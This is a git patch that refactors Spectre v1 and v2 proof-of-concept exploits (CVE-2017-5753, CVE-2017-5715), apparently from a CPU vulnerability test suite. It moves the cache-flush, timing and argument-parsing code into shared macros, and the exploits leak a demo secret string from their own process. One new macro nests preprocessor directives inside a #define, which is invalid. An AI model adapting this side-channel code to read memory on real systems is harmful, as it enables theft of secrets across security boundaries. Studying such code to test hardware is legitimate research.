From a8612b146a3359ced52bdaec16c10beae58a6e3d Mon Sep 17 00:00:00 2001 From: Samuel Aubertin Date: Tue, 12 Apr 2022 13:12:30 +0200 Subject: [PATCH] Factorize OCTOPUS_ARGS, OCTOPUS_TIMINGS and OCTOPUS_NOCLFLUSH_INIT in macros defined in octopus.h --- octopus.h | 59 ++++++++++++++++++++++++++++++++++++++++++++++++ spectre_v1.c | 64 ++++++++++++---------------------------------------- spectre_v2.c | 56 ++++++--------------------------------------- 3 files changed, 80 insertions(+), 99 deletions(-) diff --git a/octopus.h b/octopus.h index a76e830..86cf7e9 100644 --- a/octopus.h +++ b/octopus.h @@ -71,6 +71,65 @@ } #endif //NOCLFLUSH +#define GAP 512 + +char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; +unsigned int cache_hit_threshold, array1_size = 16; +uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; +uint8_t channel[256 * GAP]; // side channel to extract secret phrase + +#define __OCTOPUS_ARGS__\ + while ((o = getopt(argc, argv, "t:j")) != EOF) {\ + switch (o) {\ + case 't':\ + cache_hit_threshold = atoi(optarg);\ + break;\ + case 'j':\ + json++;\ + break;\ + default:\ + usage:\ + fprintf(stderr, "usage: %s [-j] "\ + "[-t threshold]\n"\ + "\t-j\t\tJSON output\n"\ + "\t-t INT\t\tfixed threshold\n", argv[0]);\ + return 1;\ + }\ + }\ + if (argc != optind) {\ + goto usage;\ + } + +#define __OCTOPUS_TIMINGS__\ + /* Time reads. Order is lightly mixed up to prevent stride prediction */\ + for (i = 0; i < 256; i++) {\ + mix_i = ((i * 167) + 13) & 255;\ + addr = & channel[mix_i * GAP];\ + if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\ + results[mix_i]++; /* cache hit - add +1 to score for this value */\ + }\ + }\ + /* Locate highest results in j */\ + j = -1;\ + for (i = 0; i < 256; i++) {\ + if (j < 0 || results[i] >= results[j]) {\ + j = i;\ + }\ + }\ + if (results[j] >= 3) {\ + break;\ + } + +#define __OCTOPUS_NOCLFLUSH_INIT__\ + int junk2 = 0;\ + int l;\ + (void)junk2; + +#define __OCTOPUS_MFENCE__\ + #ifndef NOMFENCE\ + _mm_mfence();\ + #endif + static inline unsigned timed_access(volatile uint8_t *addr) { diff --git a/spectre_v1.c b/spectre_v1.c index 23d3430..faf7093 100644 --- a/spectre_v1.c +++ b/spectre_v1.c @@ -21,9 +21,6 @@ #include "octopus.h" -char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; -unsigned int cache_hit_threshold, array1_size = 16; -uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ void @@ -44,7 +41,7 @@ victim_function(size_t x) x &= array_index_mask_nospec(x, array1_size); #endif - temp &= array2[array1[x] * 512]; + temp &= channel[array1[x] * GAP]; } } @@ -57,24 +54,24 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre volatile uint8_t* addr; #ifdef NOCLFLUSH - int junk2 = 0; - int l; - (void)junk2; + __OCTOPUS_NOCLFLUSH_INIT__ #endif + for (i = 0; i < 256; i++) { results[i] = 0; } for (tries = 999; tries > 0; tries--) { #ifndef NOCLFLUSH - /* Flush array2[256*(0..255)] from cache */ - for (i = 0; i < 256; i++) - _mm_clflush(&array2[i * 512]); + /* Flush channel[256*(0..255)] from cache */ + for (i = 0; i < 256; i++) { + _mm_clflush(&channel[i * GAP]); + } #else - /* Flush array2[256*(0..255)] from cache + /* Flush channel[256*(0..255)] from cache using long SSE instruction several times */ for (j = 0; j < 16; j++) { for (i = 0; i < 256; i++) { - flush_memory_sse(&array2[i * 512]); + flush_memory_sse(&channel[i * GAP]); } } #endif @@ -101,22 +98,8 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre victim_function(x); } - /* Time reads. Order is lightly mixed up to prevent stride prediction */ - for (i = 0; i < 256; i++) { - mix_i = ((i * 167) + 13) & 255; - addr = & array2[mix_i * 512]; - if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) - results[mix_i]++; /* cache hit - add +1 to score for this value */ - } - /* Locate highest results in j */ - j = -1; - for (i = 0; i < 256; i++) { - if (j < 0 || results[i] >= results[j]) { - j = i; - } - } - if (results[j] >= 3) - break; + __OCTOPUS_TIMINGS__ + } results[0] ^= junk; /* use junk so code above won’t get optimized out*/ value[0] = (uint8_t) j; @@ -130,26 +113,7 @@ main(int argc, char** argv) int i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0; uint8_t value[2]; - while ((o = getopt(argc, argv, "t:j")) != EOF) { - switch (o) { - case 't': - cache_hit_threshold = atoi(optarg); - break; - case 'j': - json++; - break; - default: - usage: - fprintf(stderr, "usage: %s [-j] " - "[-t threshold]\n" - "\t-j\t\tJSON output\n" - "\t-t INT\t\tfixed threshold\n", argv[0]); - return 1; - } - } - if (argc != optind) { - goto usage; - } + __OCTOPUS_ARGS__ fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret)); calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold); @@ -158,8 +122,8 @@ main(int argc, char** argv) cache_flush_array[i] = 1; } #endif - for (i = 0; i < (int)sizeof(array2); i++) { - array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ + for (i = 0; i < (int)sizeof(channel); i++) { + channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */ } while (--len >= 0) { leak(malicious_x++, value, score, cache_hit_threshold); diff --git a/spectre_v2.c b/spectre_v2.c index 2b5e0fc..18b4ce8 100644 --- a/spectre_v2.c +++ b/spectre_v2.c @@ -20,14 +20,7 @@ #include "octopus.h" -#define GAP 1024 - -char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; uint64_t* target; // pointer to indirect call target -unsigned int cache_hit_threshold, array1_size = 16; -uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; -//uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ -uint8_t channel[256 * GAP]; // side channel to extract secret phrase // mistrained target of indirect call int @@ -77,10 +70,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres unsigned int junk = 0; volatile uint8_t* addr; char dummy = '@'; + #ifdef NOCLFLUSH - int junk2 = 0; - int l; - (void)junk2; + __OCTOPUS_NOCLFLUSH_INIT__ #endif for (i = 0; i < 256; i++) { results[i] = 0; @@ -90,7 +82,7 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres // Malicious target *target = (uint64_t)&gadget; #ifndef NOMFENCE - _mm_mfence(); + _mm_mfence(); #endif for (j = 50; j > 0; j--) { junk ^= victim_function(&dummy, 0); @@ -138,24 +130,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres #endif // now, the value of *addr_to_read should be cached even though // the logical execution path never calls gadget() - /* Time reads. Order is lightly mixed up to prevent stride prediction */ - for (i = 0; i < 256; i++) { - mix_i = ((i * 167) + 13) & 255; - addr = & channel[mix_i * GAP]; - if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) { - results[mix_i]++; /* cache hit - add +1 to score for this value */ - } - } - /* Locate highest results in j */ - j = -1; - for (i = 0; i < 256; i++) { - if (j < 0 || results[i] >= results[j]) { - j = i; - } - } - if (results[j] >= 3) { - break; - } + + __OCTOPUS_TIMINGS__ + } results[0] ^= junk; /* use junk so code above won’t get optimized out*/ value[0] = (uint8_t) j; @@ -169,26 +146,7 @@ main(int argc, char** argv) uint8_t value[2]; char* secret_addr = secret; - while ((o = getopt(argc, argv, "t:j")) != EOF) { - switch (o) { - case 't': - cache_hit_threshold = atoi(optarg); - break; - case 'j': - json++; - break; - default: - usage: - fprintf(stderr, "usage: %s [-j] " - "[-t threshold]\n" - "\t-j\t\tJSON output\n" - "\t-t INT\t\tfixed threshold\n", argv[0]); - return 1; - } - } - if (argc != optind) { - goto usage; - } + __OCTOPUS_ARGS__ target = (uint64_t*)malloc(sizeof(uint64_t)); fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);